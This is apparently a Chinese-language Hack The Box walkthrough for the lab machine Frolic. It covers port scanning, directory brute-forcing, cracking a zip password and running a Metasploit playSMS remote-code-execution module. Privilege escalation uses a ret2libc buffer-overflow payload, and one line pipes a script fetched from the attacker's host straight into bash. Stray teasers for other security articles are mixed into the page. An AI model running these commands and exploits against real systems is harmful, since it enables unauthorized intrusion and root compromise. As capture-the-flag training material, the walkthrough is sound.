【HTB系列】靶机Frolic的渗透测试详解

释放双眼,带上耳机,听听看~!

FOCA信息收集神器

FOCA主要是个检查和扫描文件的元数据及隐藏信息的信息收集工具。它是一种用于查找,下载和分析文档的元数据和其他隐藏信息的工具,并且甚至在下载文件之前对通过URL发现的信息进行完整分析。这些信息可能不容易看到。此信息可能隐藏在Microsoft Office文档,A

Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。

https://www.hackthebox.eu/

平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Frolic。

首先我们用nmap扫描靶机开放的端口和服务:

 

1.  nmap -sV -sT -sC 10.10.10.111  

 

结果如下

1.  Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-31 14:49 CST  

2.  Nmap scan report for 10.10.10.111  

3.  Host is up (0.33s latency).  

4.  Not shown: 996 closed ports  

5.  PORT     STATE SERVICE     VERSION  

6.  22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)  

7.  | ssh-hostkey:   

8.  |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)  

9.  |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)  

10.|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)  

11.139/tcp  open  netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)  

12.445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)  

13.9999/tcp open  http        nginx 1.10.3 (Ubuntu)  

14.|_http-server-header: nginx/1.10.3 (Ubuntu)  

15.|_http-title: Welcome to nginx!  

16.Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel  

17.  

18.Host script results:  

19.|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s  

20.|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  

21.| smb-os-discovery:   

22.|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)  

23.|   Computer name: frolic  

24.|   NetBIOS computer name: FROLIC\x00  

25.|   Domain name: \x00  

26.|   FQDN: frolic  

27.|_  System time: 2019-03-31T12:20:18+05:30  

28.| smb-security-mode:   

29.|   account_used: guest  

30.|   authentication_level: user  

31.|   challenge_response: supported  

32.|_  message_signing: disabled (dangerous, but default)  

33.| smb2-security-mode:   

34.|   2.02:   

35.|_    Message signing enabled but not required  

36.| smb2-time:   

37.|   date: 2019-03-31 14:50:18  

38.|_  start_date: N/A  

39.  

40.Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  

41.Nmap done: 1 IP address (1 host up) scanned in 63.62 seconds  

 

可以看到22号端口上的SSH,139和445的SMB,和9999端口上的http。

 

我们先检查下SMB有没有可以利用的点,这里用smbmap看看靶机的文件的共享情况

 

1.  smbmap -H 10.10.10.111  

出现2个共享但是我们没有访问的权限。

 

我们去http看下

*技巧提示:可以使用nc -zx IP 端口 可以快速检测目标地址指定端口是否打开。

 

在这我们 nc -zx 10.10.10.111 1880 会出现

 

10.10.10.111: inverse host lookup failed:  Unknown host

(UNKNOWN) [10.10.10.111] 1880 (?) open

 

这里的open说明1880端口是打开的

 

一个欢迎页面,底下有一行Thankyou for using nginx. http://forlic.htb:1880

 

我们访问下10.10.10.111:1880

一个后台,我们需要账号密码,尝试一些常见默认账号和密码登陆会出现提示登陆失败,但是当我用admin:password的时候,页面会一直卡着不会跳出任何提示,也不知道为什么,而且这里因为做了安全措施失败多次会让我们等10分钟再试,所以是不能用过暴力破解来得到账号密码的

 

我们用gobuster爆破下网站的目录

 

1.  gobuster -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o fronlic-gobuster.log -t 40  

Gobuster还是扫描出了部分,我们直接看看这些都是什么

 

/backup:

/dev:

/test:

/admin:

我们看到backup里面有3个文件(password.txt  user.txt  loop/)

 

我们访问下http://10.10.10.111:9999/backup/password.txt

出现内容:password - imnothuman

 

我们访问下http://10.10.10.111:9999/backup/user.txt

出现内容:user - admin

这样我们就得到一组账号密码:admin: imnothuman


去刚刚那个Node-RED尝试登陆

发现不行,我们去/admin试试

提示出现 You have left 2 attempt,我用burp抓包发现并没有任何信息,我查看了源码 的JS发现这个

作者的一个小把戏,我们在页面上输入 admin: superduperlooperpassword_lol

 

进去发现是一堆乱七八糟的东西

应该是一种编码,这也把这堆东西复制到谷歌里面去找到了这个网站

 

https://www.dcode.fr/ook-language

访问下/ asdiSIAJJ0QWE9JAS

用vim写入frolic.bas64(里面会有空格出现记得去除,可以用vim的命令行输入 s/ //g去)

 

用base64进行解码

出现乱七八糟的东西,因为是别的文件数据,我们导出到一个文件并检查类型

1.  base64 -d frolic.bas64 > frolic  

2.  file frolic  

发现是一个ZIP文件

 

用mv给它重命名下,并用zipinfu查看下信息

1.  mv frolic frolic.zip  

2.  zipinfo frolic.zip  

解压发现需要密码

我们用zip2john把这个压缩文件转换为密码HASH,然后用john去破解下

 

1.  zip2john frolic.zip > frolic.zip.hash  

1.  john –wordlist=/usr/share/wordlists/rockyou.txt frolic.zip.hash  

2.  john frolic.zip.hash –show  

找到密码:password

然后再次解压

Cat下内容感觉像是16进制,我们转换下试试看

1.  cat index.php | xxd -r -ps  

把这些内容输出到一个文件内并用base64转码下,注意这里的输出到文件带有换行需要去除文件里面的换行

1.  cat index.php | xxd -r -p > index.php.b64  

这段同样需要解密,我同样用GOOGLE找到对应破解的网站

 

网站:https://www.dcode.fr/langage-brainfuck

解密结果:idkwhatispass

 

到这里已经没什么线索,我们总共得到2组密码,说明应该还有网页没有被我们找到,密码应该属于没有被我们找到的网页的

PbootCMS-XSS(stored)漏洞分析

本文作者:WHITE(Ms08067实验室核心成员) 一、漏洞摘要 bootCMS是全新内核且永久开源免费的cms,在其V2.0.2版本中存在存储型XSS 漏洞名称:PbootCMS存储型XSS  产品首页:https://www.pbootcms.com 软件链接: https://github.com/hnaoyun/PbootCMS 版本:V2

 

这里我们在第一次爆破的基础上继续爆破输入命令

1.  for i in admin dev test backup loop;do gobuster -u http://10.10.10.111:9999/$i -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 -o Fronlic-gobuster-$i.log;done  

 

这段命令就是让admin dev test backup loophttp://10.10.10.111:9999/进行组合然后调用gobuster进行扫描输出,我们需要等待段时间

 

我们会找到在/dev下还有个/backup目录

访问下

然后尝试用我们刚刚得到的密码进行登陆。

 

正确的账号密码:admin:idkwhatispass

我们查找看看playsms有没有已知可以利用的漏洞

1.  searchsploit playsms  

我们直接使用1.4版本的 远程代码执行漏洞

 

我们可以  searchsploit-x  Path 查看对应的漏洞说明,手动利用

 

也可以使用msf中集成好的

1.  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass  

2.  password => idkwhatispass  

3.  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999  

4.  rport => 9999  

5.  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111  

6.  rhosts => 10.10.10.111  

7.  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms  

8.  targeturi => /playsms  

9.  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.15.36  

10.lhost => 10.10.15.36  

11.msf5 exploit(multi/http/playsms_uploadcsv_exec) > run  

成功后会返回一个会话

得到user flag

 

接下来就是提权获得root权限

 

这里我们用到LinEnum用来检查可以用来提权的利用点

Github:https://github.com/rebootuser/LinEnum

 

使用python的SimpleHTTPServer的模块把LineEnum上传到靶机执行

 

然后在shell中执行

1.  curl http://10.10.15.36:8000/LinEnum.sh | bash  

在这里我们看到带有SUID的文件有一个是ayush的目录下

可以看到这个文件我们拥有可执行权限

会获取我们的输入然后输出

 

我们通过

1.  base64 rop  

得到这个文件内容的的编码内容,然后在放回到本机对这个文件解码进行查看调试

 

1.  base64 -d rop.ba64 > rop  

2.  chmod +x rop  

3.  ./rop hello  

然后我们本地用gdb进行调试

1.  gdb rop  

 

插件peda的安装:https://blog.csdn.net/gatieme/article/details/63254211

我们生产一个100长度的输入给rop

结果如下

发现程序被终止并提示了SIGSEGV

因为输入过多导致溢出

 

我们记录下上面发生错误的位置 0x41474141

 

转化下就是AGAA

就是我们刚刚输入的这个位置

用pattern_offset 0x1474141计算下位置,是52

然后我们用python输出52个A

同时在后面加上自己的信息

转化下0x7a666473

说明52个字符后就会产生溢出。

 

现在我们需要知道/bin/sh的地址,我不会像以前那样通过在环境变量中加载字符串来实现。有一种更好的方法,首先我们需要找到/bin/shin 的偏移量libc,我们将用它strings来获取地址:

1.  strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh  

地址:0x0015ba0b

 

然后我们需要地址libc,我们可以使用ldd它来获取它:

1.  ldd rop  

地址:0xb7e19000

 

然后我们将整合两个地址来获取 /bin/sh的真正地址

 

/bin/sh:0x0015ba0b+ 0xb7e19000=0xb7f74a0b

 

现在我们需要的system()和exit()的地址

 

这里我需要在靶机上运行gdb查看,但是靶机没有gdb,我们需要从github上然后下载传到靶机上,靶机可以用wget命令进行下载,然后给gdb 加执行权限,最后对rop进行调试

 

 

Github:https://github.com/hugsy/gdb-static/blob/master/gdb-7.10.1-x32

 

1.  wget http://10.10.15.36:8000/gdb-7.10.1-x32  

2.  mv gdb-7.10.1-x32 gdb  

3.  chmod +x gdb  

4.  ./gdb /home/ayush/.binary/rop  

通过

(gdb)p system

(gdb)p exit

写成payload

 

1.  #!/usr/bin/python  

2.    

3.  import struct  

4.    

5.  buf = “A” * 52  

6.  system = struct.pack(“I” ,0xb7e53da0)  

7.  exit = struct.pack(“I” ,0xb7e479d0)  

8.  shell = struct.pack(“I” ,0xb7f74a0b)  

9.  print buf + system + exit + shell  

 

然后把exp上传到靶机中去得到root权限

作者:是大方子


来源:Ms08067安全实验室


往期回顾


1.【HTB靶场系列】靶机Access的渗透测试详解

2.【HTB靶场系列】如何获得邀请码及如何跟HTB建立连接

3.【HTB靶场系列】靶机Carrier的渗透测试

界世的你当

作你的肩膀



 ms08067安全实验室

本文源自微信公众号:Ms08067安全实验室

【奇思淫技】TP5最新getshell漏洞

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支

人已赞赏
安全工具

【干货】Windows下的二进制安全学习路线

2019-10-14 20:16:47

安全工具

FOCA信息收集神器

2019-10-14 20:16:55

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索